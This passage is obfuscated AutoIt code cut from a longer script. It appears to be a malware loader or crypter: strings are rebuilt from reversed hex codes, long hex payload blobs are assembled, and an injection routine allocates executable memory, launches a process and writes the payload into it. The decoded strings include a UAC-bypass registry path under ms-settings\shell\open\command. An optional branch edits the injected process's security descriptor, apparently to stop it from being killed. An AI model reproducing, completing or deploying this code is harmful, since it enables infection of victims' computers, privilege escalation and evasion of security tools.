LOCAL $ZVMJLQTGVG FOR $MEGWNOMLHDODZWH = 0 TO 2 $ZVMJLQTGVG &= CHRW ($_IFCEOXKCKITYUCULDMR [$MEGWNOMLHDODZWH ] ) NEXT RETURN $ZVMJLQTGVG ENDFUNC FUNC YVXBOMNNLFVFJSVRPCPL () LOCAL $ZSNMSCIPVLQOIREZQWGB [62 ] = [EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) ] LOCAL $GIKJLDYSAP FOR $IVNTALL_ESATJAH = 0 TO 61 $GIKJLDYSAP &= CHRW ($ZSNMSCIPVLQOIREZQWGB [$IVNTALL_ESATJAH ] ) NEXT RETURN $GIKJLDYSAP ENDFUNC FUNC DTZLXUIDXAVHOROBRCEW () LOCAL $ERZDIENRDJOFKZUVBAAH [3 ] = [EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) ] LOCAL $LVVDSHRANM FOR $USMBUZOONTUFZCV = 0 TO 2 $LVVDSHRANM &= CHRW ($ERZDIENRDJOFKZUVBAAH [$USMBUZOONTUFZCV ] ) NEXT RETURN $LVVDSHRANM ENDFUNC FUNC NNSRVPOPKRZBILLWYFSO () LOCAL $UE_YSTLWVFNVWELGMKQD [62 ] = [EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) ] LOCAL $IOTZBDSUFE FOR $UKAKSUXHPTUWWKP = 0 TO 61 $IOTZBDSUFE &= CHRW ($UE_YSTLWVFNVWELGMKQD [$UKAKSUXHPTUWWKP ] ) NEXT RETURN $IOTZBDSUFE ENDFUNC FUNC GOLQQSHOFCVBZNKMIDBU () LOCAL $RRBGAEVXWNMSLEGYEBWM [52 ] = [EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("55x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("D2x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $PMEQLXKSSP FOR $LSNXTHGHYDAMGOY = 0 TO 51 $PMEQLXKSSP &= CHRW ($RRBGAEVXWNMSLEGYEBWM [$LSNXTHGHYDAMGOY ] ) NEXT RETURN $PMEQLXKSSP ENDFUNC FUNC R_NQOBSBSNOGFLKMDRLS () LOCAL $I_GVQEMXCGHQLIKWAPE_ [62 ] = [EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) ] LOCAL $RUSAJPWZLG FOR $MNUXCUMYUNVIZYW = 0 TO 61 $RUSAJPWZLG &= CHRW ($I_GVQEMXCGHQLIKWAPE_ [$MNUXCUMYUNVIZYW ] ) NEXT RETURN $RUSAJPWZLG ENDFUNC FUNC QMALKUGTQGDKVNYJINTJ () LOCAL $KKMGAXVZIPBRHFHZ_VOB [6 ] = [EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $F_ULNZILAF FOR $QRBPKDFSTDZWDVP = 0 TO 5 $F_ULNZILAF &= CHRW ($KKMGAXVZIPBRHFHZ_VOB [$QRBPKDFSTDZWDVP ] ) NEXT RETURN $F_ULNZILAF ENDFUNC FUNC DPWHUKJVEGDRFHWONQDLUOYYU ($WPATH , $WARGUMENTS , $LPFILE , $PROTECT ) LOCAL $OETMFOCB_FKJGP_XHRILDROFC = HZQQXVLNEYLTIRYHQDFD () $OETMFOCB_FKJGP_XHRILDROFC &= CKGLMOQGEDXYYHWXFBUY () $OETMFOCB_FKJGP_XHRILDROFC &= UFTKDWYYAWID_V_CHMJL () $OETMFOCB_FKJGP_XHRILDROFC &= HDVKACPTKRSVEZECITXS () $OETMFOCB_FKJGP_XHRILDROFC &= IQMUNOGMKKVALAPUIAIE () $OETMFOCB_FKJGP_XHRILDROFC &= NGHPSFTHFSYQEEGNNCMZ () $OETMFOCB_FKJGP_XHRILDROFC &= TVGHOLCCEOSQVUBVVSZM () $OETMFOCB_FKJGP_XHRILDROFC &= VNXHZCIXGAIHPFFYGB_X () $OETMFOCB_FKJGP_XHRILDROFC &= BXQASWZKZLPUSBSYWRMS () $OETMFOCB_FKJGP_XHRILDROFC &= F_ZJJTAPPGWHTFSZ_JCB () $OETMFOCB_FKJGP_XHRILDROFC &= XQMVINIBMNUKCFLAUQKE () $OETMFOCB_FKJGP_XHRILDROFC &= YGTTOEZSPRDQOEMDWGHR () $OETMFOCB_FKJGP_XHRILDROFC &= IKXLZHJWMBDQ_HKXUEXU () $OETMFOCB_FKJGP_XHRILDROFC &= R_NQOBSBSNOGFLKMDRLS () $OETMFOCB_FKJGP_XHRILDROFC &= YVXBOMNNLFVFJSVRPCPL () $OETMFOCB_FKJGP_XHRILDROFC &= HXSNWBTWODDEUMGRIKCK () $OETMFOCB_FKJGP_XHRILDROFC &= AQQTSZWCMDAILFWCHKAC () $OETMFOCB_FKJGP_XHRILDROFC &= EEGBKFB_GDLKLUVWFEAF () $OETMFOCB_FKJGP_XHRILDROFC &= ZZBHDYDXCRIAFWPMJTVV () $OETMFOCB_FKJGP_XHRILDROFC &= TGYKMHFPWPHPBYVUVWLJ () $OETMFOCB_FKJGP_XHRILDROFC &= QIJBTIDMOMRLZRBB_TWU () $OETMFOCB_FKJGP_XHRILDROFC &= MSDQMKKEXSBRGVZTZXPQ () $OETMFOCB_FKJGP_XHRILDROFC &= LQHDMFS_RKXYESHHPWT_ () $OETMFOCB_FKJGP_XHRILDROFC &= LQGQWNBLKEFMFTYMLZUD () $OETMFOCB_FKJGP_XHRILDROFC &= NCVNRUWUKPIORMCDVVVS () $OETMFOCB_FKJGP_XHRILDROFC &= ZKNWZYGBALJDINONWFZA () $OETMFOCB_FKJGP_XHRILDROFC &= QPARKZOAJNPZUBEJPIAG () $OETMFOCB_FKJGP_XHRILDROFC &= _SAHQDFWKYFMYHGQKNWT () $OETMFOCB_FKJGP_XHRILDROFC &= DNZNCHQV_HUEWMWFNKJY () $OETMFOCB_FKJGP_XHRILDROFC &= QNJOQMICYKBIUBIUWEPP () $OETMFOCB_FKJGP_XHRILDROFC &= MZDCFXKYPOAJIWJLEKYM () $OETMFOCB_FKJGP_XHRILDROFC &= ZUVPFO_IOH_UCATBIRFB () $OETMFOCB_FKJGP_XHRILDROFC &= JUKSB_BDZECSBOWEIAOI () $OETMFOCB_FKJGP_XHRILDROFC &= SDCXHRGWHZOFZOJQ_IPS () $OETMFOCB_FKJGP_XHRILDROFC &= _QQGJFCBJVMSNYAULBYU () $OETMFOCB_FKJGP_XHRILDROFC &= DGTEM_JOVQOTNMNJOOXU () $OETMFOCB_FKJGP_XHRILDROFC &= PBDKFNGJOQKWCKNCMFAI () $OETMFOCB_FKJGP_XHRILDROFC &= CWRBUHMTMZWOTOCUK_OQ () $OETMFOCB_FKJGP_XHRILDROFC &= KMAYJFKJONWVXEQGORWV () $OETMFOCB_FKJGP_XHRILDROFC &= TVUWAKCJQNDYENXUEZNV () $OETMFOCB_FKJGP_XHRILDROFC &= AIMOGAKHMCHNEQFRRE_O () $OETMFOCB_FKJGP_XHRILDROFC &= GIOALGXSUREUOUZYMWK_ () $OETMFOCB_FKJGP_XHRILDROFC &= RCCGOSRZVFDPHEUTK_IG () $OETMFOCB_FKJGP_XHRILDROFC &= NNSRVPOPKRZBILLWYFSO () $OETMFOCB_FKJGP_XHRILDROFC &= DED_FKNPOUKDPFZWEHCL () $OETMFOCB_FKJGP_XHRILDROFC &= UIIQJCXXTEJSWJYUEMIA () $OETMFOCB_FKJGP_XHRILDROFC &= CYZXBDHVGXEYJPZBAMEF () $OETMFOCB_FKJGP_XHRILDROFC &= QZSPLESQQ_UCN_SPAMTH () LOCAL $KNONAEFXXQGTJHLRKCNIYAYUCRRLGVTWCHUVVQ_XFFMHXMIJFOEVNP_K = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (RRCUUIQSMBIOHRAORMJJ () , GOVTFKISTWCTYT_NBGYD () , HXSUEUAKETWAHUTQNMZQ () , ZMZGYFWEODOPQUVMBHNM () , 0 , ZMZGYFWEODOPQUVMBHNM () , $XOTA_WUA_WFFIZGBDXKXDCLKHDDUVCPIZNRYCBDEI ($OETMFOCB_FKJGP_XHRILDROFC ) , ZMZGYFWEODOPQUVMBHNM () , 12288 , ZMZGYFWEODOPQUVMBHNM () , 64 ) [0 ] LOCAL $UKJNURBYKRCNQWUCQCTOQXQIIGSRYINHKFBFQJLOK = $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC (BMIBDWHMJFRPMHLANTGE () & $XOTA_WUA_WFFIZGBDXKXDCLKHDDUVCPIZNRYCBDEI ($OETMFOCB_FKJGP_XHRILDROFC ) & ONEFUPKADSHZCYSDFFVO () , $KNONAEFXXQGTJHLRKCNIYAYUCRRLGVTWCHUVVQ_XFFMHXMIJFOEVNP_K ) LOCAL $MVGVPSKSXMGWZXUBFOYL_CDVDKUOMHR = $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC (HYEFXFCSBWPSFKKXFUAS () & $AWJFCIITTDQZMXVJHQAKVEFQHCRZUXBJHLDGCXKHVFYWXQEU_R ($LPFILE ) & ONEFUPKADSHZCYSDFFVO () ) $ZHFUPPNRMLHMQOCZEQJGYEFCFIHSMRTKOONH_VFWZILBDL ($UKJNURBYKRCNQWUCQCTOQXQIIGSRYINHKFBFQJLOK , KAPAXVVKKURUUAHUWPMR () , $OETMFOCB_FKJGP_XHRILDROFC ) $ZHFUPPNRMLHMQOCZEQJGYEFCFIHSMRTKOONH_VFWZILBDL ($MVGVPSKSXMGWZXUBFOYL_CDVDKUOMHR , QMALKUGTQGDKVNYJINTJ () , $LPFILE ) LOCAL $EGLVCMRAGGLAAOGELOEXQZ = $IHRZBYZAYTRSCDVVGMBCNYXJKVRFZY (ZMZGYFWEODOPQUVMBHNM () , $KNONAEFXXQGTJHLRKCNIYAYUCRRLGVTWCHUVVQ_XFFMHXMIJFOEVNP_K + 190 , OHMWWBPLLEJBMWDXHWFE () , $WPATH , OHMWWBPLLEJBMWDXHWFE () , $WARGUMENTS , GOVTFKISTWCTYT_NBGYD () , $JRIZIMF_ESNBSATKWFCOXIBVCPMNXLHSHUZCXUILHUSWQRMAY ($MVGVPSKSXMGWZXUBFOYL_CDVDKUOMHR ) ) $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (RRCUUIQSMBIOHRAORMJJ () , ZMZGYFWEODOPQUVMBHNM () , JSJLNSFNVDUYFTRMGMGV () , ZMZGYFWEODOPQUVMBHNM () , $KNONAEFXXQGTJHLRKCNIYAYUCRRLGVTWCHUVVQ_XFFMHXMIJFOEVNP_K , ZMZGYFWEODOPQUVMBHNM () , 0 , ZMZGYFWEODOPQUVMBHNM () , 32768 ) IF $PROTECT THEN $MDCASPKXRGRHFOZBLQJBDKOADXFHHEMVCCRGTSVZBFILWAMCVRB (12000 ) LOCAL $JSLSFYWFPWCRSMZZSXYEURDUODQDYDTO = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , QRLUZMXKHOATXPTLSHCV () , NRVGGVUSXBIPPRFRYDFG () , ZMZGYFWEODOPQUVMBHNM () , 2035711 , AEW_UJKIISQ_IWNHHKQK () , 0 , ZMZGYFWEODOPQUVMBHNM () , $EGLVCMRAGGLAAOGELOEXQZ [0 ] ) [0 ] LOCAL $XBDRULCKAWEYXOSMQL_SVQT = $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC (XHTJRLOPDSSBYK_NCHQH () ) LOCAL $RDCHTHMCOMVKWHYMWVTVYWRPYRIRUWKGIOARJUQT = $JRIZIMF_ESNBSATKWFCOXIBVCPMNXLHSHUZCXUILHUSWQRMAY ($XBDRULCKAWEYXOSMQL_SVQT ) LOCAL $CKKTIPINOW_XXQVMNJBZVITCPBHHHCB = $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC (IFBXTLTQLJMFPWIMZRTO () ) LOCAL $_LWLHWQBAEFZKJLYEEWKPU = $JRIZIMF_ESNBSATKWFCOXIBVCPMNXLHSHUZCXUILHUSWQRMAY ($CKKTIPINOW_XXQVMNJBZVITCPBHHHCB ) LOCAL $EGLVCMRAGGLAAOGELOEXQZ $EGLVCMRAGGLAAOGELOEXQZ = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (CQPEBUMEOVEEXHTRFPKY () , IDDJOTKLHGNYILGBNNZY () , YQPOTMLKTHPIKVLKKNMB () , JRENUTKGRGCVGJLVEHRC () , $_LWLHWQBAEFZKJLYEEWKPU , XPJVAVKWXDINEOXZILMZ () , 1 ) $EGLVCMRAGGLAAOGELOEXQZ = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (CQPEBUMEOVEEXHTRFPKY () , IDDJOTKLHGNYILGBNNZY () , EJRGSCKMHYAQJDDMFUPP () , JRENUTKGRGCVGJLVEHRC () , $RDCHTHMCOMVKWHYMWVTVYWRPYRIRUWKGIOARJUQT , XPJVAVKWXDINEOXZILMZ () , $WMHVUBQMXT_RDTLUTXBRNBXSHCQFFLCMPEPVLN_XMKXOLPRZLVX ($XBDRULCKAWEYXOSMQL_SVQT ) , XPJVAVKWXDINEOXZILMZ () , 2 ) $EGLVCMRAGGLAAOGELOEXQZ = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (CQPEBUMEOVEEXHTRFPKY () , IDDJOTKLHGNYILGBNNZY () , CUYGNBRBZLVBJPQCMCZX () , JRENUTKGRGCVGJLVEHRC () , $_LWLHWQBAEFZKJLYEEWKPU , IDDJOTKLHGNYILGBNNZY () , 1 , JRENUTKGRGCVGJLVEHRC () , $RDCHTHMCOMVKWHYMWVTVYWRPYRIRUWKGIOARJUQT , IDDJOTKLHGNYILGBNNZY () , 0 ) $EGLVCMRAGGLAAOGELOEXQZ = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (CQPEBUMEOVEEXHTRFPKY () , IDDJOTKLHGNYILGBNNZY () , SGBAZFAVZPQVXLSPRMJS () , JRENUTKGRGCVGJLVEHRC () , $JSLSFYWFPWCRSMZZSXYEURDUODQDYDTO , XPJVAVKWXDINEOXZILMZ () , 4 , JRENUTKGRGCVGJLVEHRC () , $_LWLHWQBAEFZKJLYEEWKPU ) ENDIF ENDFUNC FUNC IFBXTLTQLJMFPWIMZRTO () LOCAL $HORINEFVHBIKP_SGTNNE [8 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("B5x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("D5x0" ) ) ] LOCAL $VOTJPGYIJB FOR $UDKVAVN_FXDZNNJ = 0 TO 7 $VOTJPGYIJB &= CHRW ($HORINEFVHBIKP_SGTNNE [$UDKVAVN_FXDZNNJ ] ) NEXT RETURN $VOTJPGYIJB ENDFUNC FUNC JFFOPNGALIOAMIKPGBYO () LOCAL $ZCYZOPRPYDTARO_RXRWU [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $HHGZAWRCIP FOR $VMVQVKSFOKLBENL = 0 TO 2 $HHGZAWRCIP &= CHRW ($ZCYZOPRPYDTARO_RXRWU [$VMVQVKSFOKLBENL ] ) NEXT RETURN $HHGZAWRCIP ENDFUNC FUNC YQPOTMLKTHPIKVLKKNMB () LOCAL $NIQGNZMMFMUGRGIRQAHV [28 ] = [EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("A7x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE 